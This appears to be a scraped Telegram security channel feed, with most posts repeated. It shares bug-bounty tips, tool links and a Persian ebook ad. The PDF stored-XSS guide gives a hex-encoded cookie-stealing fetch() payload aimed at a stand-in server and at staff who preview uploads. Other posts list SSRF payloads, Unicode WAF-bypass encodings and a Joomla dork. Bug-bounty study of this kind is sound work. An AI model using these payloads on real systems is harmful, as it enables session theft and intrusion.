Forwarded from Library Sec Official
Hi everyone last week there was a wave of Telegram channel blocks in the OSINT community, and my second channel @osintgit was among those affected. Most channels have already been restored, but mine remains blocked. Please help forward the following message to Telegram support:
Colleagues in the field have already managed to get the message through; with enough visibility we can do the same.
Please send the message to Telegram support bots:
@PressBot
@AmeliaTearheart
@BotSupport
Also use Telegram Support: Open Settings → “Ask a Question” → proceed to the question.
And email their official addresses:
dmca@telegram.org
security@telegram.org
recover@telegram.org
abuse@telegram.org
support@telegram.org
I would be grateful for reposts of this post it greatly increases the chances of getting the channel unblocked.
The @osintgit channel has been blocked. It contained links to articles, presentations from the author’s conference talks, and publicly available tools related to information security. The channel never published personal data or any other prohibited content. Please unblock this channel and remove the restrictions on.
Colleagues in the field have already managed to get the message through; with enough visibility we can do the same.
Please send the message to Telegram support bots:
@PressBot
@AmeliaTearheart
@BotSupport
Also use Telegram Support: Open Settings → “Ask a Question” → proceed to the question.
And email their official addresses:
dmca@telegram.org
security@telegram.org
recover@telegram.org
abuse@telegram.org
support@telegram.org
I would be grateful for reposts of this post it greatly increases the chances of getting the channel unblocked.
Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 1
This article explores how to bypass Web Application Firewalls (WAFs) using PDF-based Stored XSS for bug bounty hunters. The technique involves embedding hex-encoded JavaScript payloads inside PDF structures (like fonts or content streams) and uploading them to platforms that preview PDFs. Since WAFs typically scan for obvious XSS tags or keywords, the obfuscated payloads often slip through. The method can yield both Stored and Blind XSS, depending on the environment. The article includes real-world examples, such as the CVE-2024–4367 vulnerability in PDF.js, and outlines a practical workflow for identifying upload features, crafting malicious PDFs, and validating PoCs. Severity varies based on impact, ranging from low to high. Responsible testing and ethical reporting are emphasized.
The Core Idea
Many platforms preview uploaded PDFs directly in the browser using:
Mozilla PDF.js (Firefox default, Chrome extensions, and countless web apps)
Embedded iframe viewers
If the renderer has a parsing or font-handling bug, a malicious payload hidden in the PDF structure can execute JavaScript.
Instead of dropping obvious <script>alert(1)</script> garbage that every scanner catches, you:
۱. Take a normal JavaScript payload
Example:
alert(document.domain)
or
fetch('https://your-server.com/log?c=' + document.cookie)
۲. Encode the entire payload as ASCII hex
Example:
\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
۳. Embed it into a minimal but valid PDF structure
The payload gets placed inside:
A font object
A glyph stream
A malformed object reference
Or a parsing edge case in the content stream
4. Upload the PDF to any feature that stores and previews documents
Typical targets:
Profile attachments
Support ticket uploads
Resume portals
Invoice systems
File-sharing features
5. Wait for someone to open or preview it
If the renderer is vulnerable, your JavaScript executes in the viewer’s context.
Congratulations. You just turned a boring PDF upload into a Stored or Blind XSS vector.
📰 @BackupLSO
📚 @LibrarySecOfficial
This article explores how to bypass Web Application Firewalls (WAFs) using PDF-based Stored XSS for bug bounty hunters. The technique involves embedding hex-encoded JavaScript payloads inside PDF structures (like fonts or content streams) and uploading them to platforms that preview PDFs. Since WAFs typically scan for obvious XSS tags or keywords, the obfuscated payloads often slip through. The method can yield both Stored and Blind XSS, depending on the environment. The article includes real-world examples, such as the CVE-2024–4367 vulnerability in PDF.js, and outlines a practical workflow for identifying upload features, crafting malicious PDFs, and validating PoCs. Severity varies based on impact, ranging from low to high. Responsible testing and ethical reporting are emphasized.
The Core Idea
Many platforms preview uploaded PDFs directly in the browser using:
Mozilla PDF.js (Firefox default, Chrome extensions, and countless web apps)
Embedded iframe viewers
If the renderer has a parsing or font-handling bug, a malicious payload hidden in the PDF structure can execute JavaScript.
Instead of dropping obvious <script>alert(1)</script> garbage that every scanner catches, you:
۱. Take a normal JavaScript payload
Example:
alert(document.domain)
or
fetch('https://your-server.com/log?c=' + document.cookie)
۲. Encode the entire payload as ASCII hex
Example:
\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
۳. Embed it into a minimal but valid PDF structure
The payload gets placed inside:
A font object
A glyph stream
A malformed object reference
Or a parsing edge case in the content stream
4. Upload the PDF to any feature that stores and previews documents
Typical targets:
Profile attachments
Support ticket uploads
Resume portals
Invoice systems
File-sharing features
5. Wait for someone to open or preview it
If the renderer is vulnerable, your JavaScript executes in the viewer’s context.
Congratulations. You just turned a boring PDF upload into a Stored or Blind XSS vector.
📰 @BackupLSO
📚 @LibrarySecOfficial
Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 2
Why This Slips Past WAFs
Most file upload filters and WAFs look for:
<script> tags
Obvious HTML or JS keywords
Known payload signatures
A hex-encoded JavaScript payload buried inside a binary-ish PDF object looks like noise.
To a filter, it’s just bytes.
To a vulnerable PDF renderer, it’s executable logic.
This mismatch between security assumptions and parsing reality is what makes this technique durable.
Stored XSS vs Blind XSS
This method works in two useful modes.
Stored XSS
Your payload persists in the uploaded file.
Anyone who previews the file triggers execution.
Best for: Admin panel views , Internal support dashboards , Shared document portals
Blind XSS
Instead of alert(), your payload exfiltrates data.
Example behavior: Send cookies or tokens to your server, Log the victim’s URL, role, or IP, Fire a callback to confirm execution
This is perfect for:
Helpdesk uploads
Abuse report systems
Moderation queues
Anywhere staff quietly open files
Real-World Signals from the Community
This technique isn’t theorycrafting. It sits in the overlap between documented vulnerabilities and practical bug bounty findings.
1. PDF.js Execution Bugs
In 2024, Mozilla patched CVE-2024–4367, a vulnerability that allowed arbitrary JavaScript execution in PDF.js via a font-handling code path. Researchers demonstrated that malformed font objects could escape the intended sandbox and run attacker-controlled JS.
This class of bugs is exactly what makes PDF-based XSS viable.
Multiple private and public reports on HackerOne have flagged:
Stored XSS via file upload previews
PDF and SVG rendering quirks
JavaScript execution through third-party viewers
Even when not labeled “PDF XSS,” many reports follow the same pattern: unsafe rendering of attacker-supplied document formats.
3. Independent Researcher Techniques
Hunters like Orwa Godfather and others in the bug bounty community have shared payload patterns that:
Use hex-encoded JavaScript
Avoid standard HTML tags
Trigger execution during parsing or rendering
Bypass basic content scanners
These payloads have been quietly reused and adapted across programs with surprising success.
📰 @BackupLSO
📚 @LibrarySecOfficial
Why This Slips Past WAFs
Most file upload filters and WAFs look for:
<script> tags
Obvious HTML or JS keywords
Known payload signatures
A hex-encoded JavaScript payload buried inside a binary-ish PDF object looks like noise.
To a filter, it’s just bytes.
To a vulnerable PDF renderer, it’s executable logic.
This mismatch between security assumptions and parsing reality is what makes this technique durable.
Stored XSS vs Blind XSS
This method works in two useful modes.
Stored XSS
Your payload persists in the uploaded file.
Anyone who previews the file triggers execution.
Best for: Admin panel views , Internal support dashboards , Shared document portals
Blind XSS
Instead of alert(), your payload exfiltrates data.
Example behavior: Send cookies or tokens to your server, Log the victim’s URL, role, or IP, Fire a callback to confirm execution
This is perfect for:
Helpdesk uploads
Abuse report systems
Moderation queues
Anywhere staff quietly open files
Real-World Signals from the Community
This technique isn’t theorycrafting. It sits in the overlap between documented vulnerabilities and practical bug bounty findings.
1. PDF.js Execution Bugs
In 2024, Mozilla patched CVE-2024–4367, a vulnerability that allowed arbitrary JavaScript execution in PDF.js via a font-handling code path. Researchers demonstrated that malformed font objects could escape the intended sandbox and run attacker-controlled JS.
This class of bugs is exactly what makes PDF-based XSS viable.
Multiple private and public reports on HackerOne have flagged:
Stored XSS via file upload previews
PDF and SVG rendering quirks
JavaScript execution through third-party viewers
Even when not labeled “PDF XSS,” many reports follow the same pattern: unsafe rendering of attacker-supplied document formats.
3. Independent Researcher Techniques
Hunters like Orwa Godfather and others in the bug bounty community have shared payload patterns that:
Use hex-encoded JavaScript
Avoid standard HTML tags
Trigger execution during parsing or rendering
Bypass basic content scanners
These payloads have been quietly reused and adapted across programs with surprising success.
📰 @BackupLSO
📚 @LibrarySecOfficial
Tip: Finding Potential SSRF Endpoints During Recon
SSRF often hides in plain sight. Many applications accept URLs or file paths as parameters, and those become prime targets.
A simple trick during recon is mining historical URLs and filtering parameters that typically fetch remote resources.
Example workflow:
What this does:
• Pulls archived endpoints from Wayback Machine
• Filters parameters commonly used for external requests
• Helps you quickly identify SSRF-like parameters
You will often find endpoints like:
Once you find them, start testing with payloads such as:
If the server makes the request on your behalf, you might have an SSRF.
Small recon tricks like this save hours of manual hunting.
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
SSRF often hides in plain sight. Many applications accept URLs or file paths as parameters, and those become prime targets.
A simple trick during recon is mining historical URLs and filtering parameters that typically fetch remote resources.
Example workflow:
echo "target.com" | waybackurls | grep -E "url=|uri=|path=|dest=|redirect=|window=|next=|target=|file=|html=|data=|reference="
What this does:
• Pulls archived endpoints from Wayback Machine
• Filters parameters commonly used for external requests
• Helps you quickly identify SSRF-like parameters
You will often find endpoints like:
/showimage.php?file=
/redirect?url=
/api/fetch?uri=
/download?path=
Once you find them, start testing with payloads such as:
http://127.0.0.1
http://169.254.169.254
http://burp-collaborator
If the server makes the request on your behalf, you might have an SSRF.
Small recon tricks like this save hours of manual hunting.
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Claude Bug Bounty Hunter - Claude Code skill for AI-assisted bug bounty hunting - recon, IDOR, XSS, SSRF, OAuth, GraphQL, LLM injection, and report generation
https://github.com/shuvonsec/claude-bug-bounty
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
https://github.com/shuvonsec/claude-bug-bounty
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Advanced SQL Injection Techniques by nav1n0x.pdf
1 MB
📖 Advanced SQL Injection Techniques
❤ Share & Support Us
🧩 #injection
📰 @BackupLSO
📚 @LibrarySecOfficial
❤ Share & Support Us
🧩 #injection
📰 @BackupLSO
📚 @LibrarySecOfficial
02 : THE MASTER PORT REFERENCE
Top 100 Ports Every Attacker Must Know
https://x.com/i/status/2070621710693364089
Top 100 Ports Every Attacker Must Know
https://x.com/i/status/2070621710693364089
X (formerly Twitter)
Kaveh (@OffensivePwn) on X
02 : THE MASTER PORT REFERENCE
Top 100 Ports Every Attacker Must Know
#RedTeam #CyberSecurity
Top 100 Ports Every Attacker Must Know
#RedTeam #CyberSecurity
🔥 XSS Tip: Unicode Normalization
Don't give up if <, >, " or ' are filtered ! Many apps normalize Unicode after the WAF/security layer.
Some bypass variants (URL-encoded):
🔹 < ➔ %EF%BC%9C
🔹 > ➔ %EF%BC%9E
🔹 " ➔ %EF%BC%A2
🔹 ' ➔ %EF%BC%87
🔹 ` ➔ %EF%BD%80
For example, inject %EF%BC%9Cscript%EF%BC%9E and check if it reflects as <script> in the DOM.
Automate these quirks with recollapse : https://github.com/0xacb/recollapse
❤ Share & Support Us
🧩 #xss
📰 @BackupLSO
📚 @LibrarySecOfficial
Don't give up if <, >, " or ' are filtered ! Many apps normalize Unicode after the WAF/security layer.
Some bypass variants (URL-encoded):
🔹 < ➔ %EF%BC%9C
🔹 > ➔ %EF%BC%9E
🔹 " ➔ %EF%BC%A2
🔹 ' ➔ %EF%BC%87
🔹 ` ➔ %EF%BD%80
For example, inject %EF%BC%9Cscript%EF%BC%9E and check if it reflects as <script> in the DOM.
Automate these quirks with recollapse : https://github.com/0xacb/recollapse
❤ Share & Support Us
🧩 #xss
📰 @BackupLSO
📚 @LibrarySecOfficial
GitHub
GitHub - 0xacb/recollapse: REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations…
REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications - 0xacb/recollapse
🔥Private Messages Leaks via api endpoint💀
tip:
> if your target using any open source projects, then collect all /api routes from github.
> use ffuf, burp, gf (do recon as much possible) it can uncovered information leak bugs.
if you guy’s want to know more info leak bugs methods, let me know…
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
tip:
> if your target using any open source projects, then collect all /api routes from github.
> use ffuf, burp, gf (do recon as much possible) it can uncovered information leak bugs.
if you guy’s want to know more info leak bugs methods, let me know…
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
🔥 XSSnow — Advanced XSS Payload Generator & Testing Platform
⚔️ Dynamic XSS Payload Generation for Web Security Testing
📌 GitHub Repository
👉 https://github.com/dr34mhacks/xssnow
📌 Live Payload Platform
👉 https://xssnow.in/payloads.html
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
⚔️ Dynamic XSS Payload Generation for Web Security Testing
📌 GitHub Repository
👉 https://github.com/dr34mhacks/xssnow
📌 Live Payload Platform
👉 https://xssnow.in/payloads.html
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Please don’t forget to react to the post and share it. Your reactions motivate us to post more content like this. You can also tap the ⭐️ to show your support. Thanks
🚨Payment Bypass Bug Lab - Master Payment Exploits Easily.
Lab 01: Price Modification
Lab 02: Direct Path Access
Lab 03: Permission Bypass
✅https://github.com/ItsRishika/Payment-bypass-bug-lab
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Lab 01: Price Modification
Lab 02: Direct Path Access
Lab 03: Permission Bypass
✅https://github.com/ItsRishika/Payment-bypass-bug-lab
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Forwarded from Try Hack Box
❗ تخفیف ویژه ❗
📚 کتابچه "Mimikatz: تسلط عملی بر تکنیکهای پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.
📕 جزئیات بیشتر کتاب
💰قیمت : ۲۵۰,۰۰۰ تومان
💰 تخفیف : ۱۹۰,۰۰۰ تومان
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته
📕 جزئیات بیشتر کتاب
💰قیمت : ۲۵۰,۰۰۰ تومان
💰 تخفیف : ۱۸۰,۰۰۰ تومان
📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی
📕 جزئیات بیشتر کتاب
💰قیمت : ۳۶۰,۰۰۰ تومان
💰تخفیف : ۲۸۰,۰۰۰ تومان
‼️ مهلت تخفیف : 3 روز
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
📚 کتابچه "Mimikatz: تسلط عملی بر تکنیکهای پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.
📕 جزئیات بیشتر کتاب
💰
💰 تخفیف : ۱۹۰,۰۰۰ تومان
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته
📕 جزئیات بیشتر کتاب
💰
💰 تخفیف : ۱۸۰,۰۰۰ تومان
📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی
📕 جزئیات بیشتر کتاب
💰
💰تخفیف : ۲۸۰,۰۰۰ تومان
‼️ مهلت تخفیف : 3 روز
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
Dear friends, our Telegram channel @OsintGit has been closed.
We have now started our activities on X (Twitter) : https://x.com/CyberOsintVault
We have now started our activities on Telegram : @OsintGit2
Please follow us!
We have now started our activities on X (Twitter) : https://x.com/CyberOsintVault
We have now started our activities on Telegram : @OsintGit2
Please follow us!
X (formerly Twitter)
CyberOsintVault (@CyberOsintVault) on X
OSINT | Cybersecurity | Digital Intelligence Vault Practical OSINT Training • Cyber Security • Intelligence Techniques • Books Building your digital reconnaissa
🚨 CVE-2026-23898 & CVE-2026-23899: Critical File Deletion and Webservice Flaws Exposed in Joomla.
👇Dorks
HUNTER : http://product.name="Joomla"
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
👇Dorks
HUNTER : http://product.name="Joomla"
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
🚨 Bug Bounty Recon Methodology 🔍 🐞
Link: https://github.com/Maniesh-Neupane/BugBounty-Recon-Methodology
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Link: https://github.com/Maniesh-Neupane/BugBounty-Recon-Methodology
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
🦖 RAPTOR - Autonomous Offensive/Defensive Security Research Framework, based on Claude Code
RAPTOR is an open-source agentic framework that autonomously handles the entire vulnerability research lifecycle:
✔️Code understanding & attack surface mapping
✔️Static analysis with Semgrep & CodeQL
✔️Binary fuzzing with AFL
- LLM-powered vulnerability analysis
✔️Proof-of-concept exploit generation
✔️Automated patch proposals
✔️Structured reporting
🔜GitHub
#AI #pentest
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
RAPTOR is an open-source agentic framework that autonomously handles the entire vulnerability research lifecycle:
✔️Code understanding & attack surface mapping
✔️Static analysis with Semgrep & CodeQL
✔️Binary fuzzing with AFL
- LLM-powered vulnerability analysis
✔️Proof-of-concept exploit generation
✔️Automated patch proposals
✔️Structured reporting
🔜GitHub
#AI #pentest
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
🤖🤖 JOIN THE Librarysec Backup COMMUNITY! 🤖🤖
Welcome to our mirrored Telegram group, designed to be a backup for our main LibrarySec Telegram channel in case of any unforeseen issues.
Stay updated with the latest in cybersecurity: e-Books, guides, market trends, wordwide analytics, industry insiders, educational resources, ethical hacking, data protection, and more.
💰 JOIN NOW! 💰
30 day's invite links
Don’t forget to stay tuned and follow us for any updates!
Welcome to our mirrored Telegram group, designed to be a backup for our main LibrarySec Telegram channel in case of any unforeseen issues.
Stay updated with the latest in cybersecurity: e-Books, guides, market trends, wordwide analytics, industry insiders, educational resources, ethical hacking, data protection, and more.
💰 JOIN NOW! 💰
30 day's invite links
Don’t forget to stay tuned and follow us for any updates!
🚨 APIStrike is live! — API Security Scanner by RevoltSecurities
Automate your API pentesting. Point it at an OpenAPI spec, it handles the rest.
What hits:
⚡ OWASP API Top 10 coverage
🎯 DAST fuzzing — SQLi, XSS, SSRF, SSTI, CMDi & more
🔐 Auth-aware — JWT, Basic, API key, Cookie bypass
🔄 CI/CD gate — blocks deploys on critical findings
https://github.com/RevoltSecurities/apistrike
⭐ Star it. Share it. Break APIs legally.
📰 @BackupLSO
📚 @LibrarySecOfficial
Automate your API pentesting. Point it at an OpenAPI spec, it handles the rest.
What hits:
⚡ OWASP API Top 10 coverage
🎯 DAST fuzzing — SQLi, XSS, SSRF, SSTI, CMDi & more
🔐 Auth-aware — JWT, Basic, API key, Cookie bypass
🔄 CI/CD gate — blocks deploys on critical findings
https://github.com/RevoltSecurities/apistrike
⭐ Star it. Share it. Break APIs legally.
📰 @BackupLSO
📚 @LibrarySecOfficial
GitHub
GitHub - RevoltSecurities/apistrike
Contribute to RevoltSecurities/apistrike development by creating an account on GitHub.
🚨One Liners for bug bounty
✅ Download: https://github.com/0xPugal/One-Liners
📰 @BackupLSO
📚 @LibrarySecOfficial
✅ Download: https://github.com/0xPugal/One-Liners
📰 @BackupLSO
📚 @LibrarySecOfficial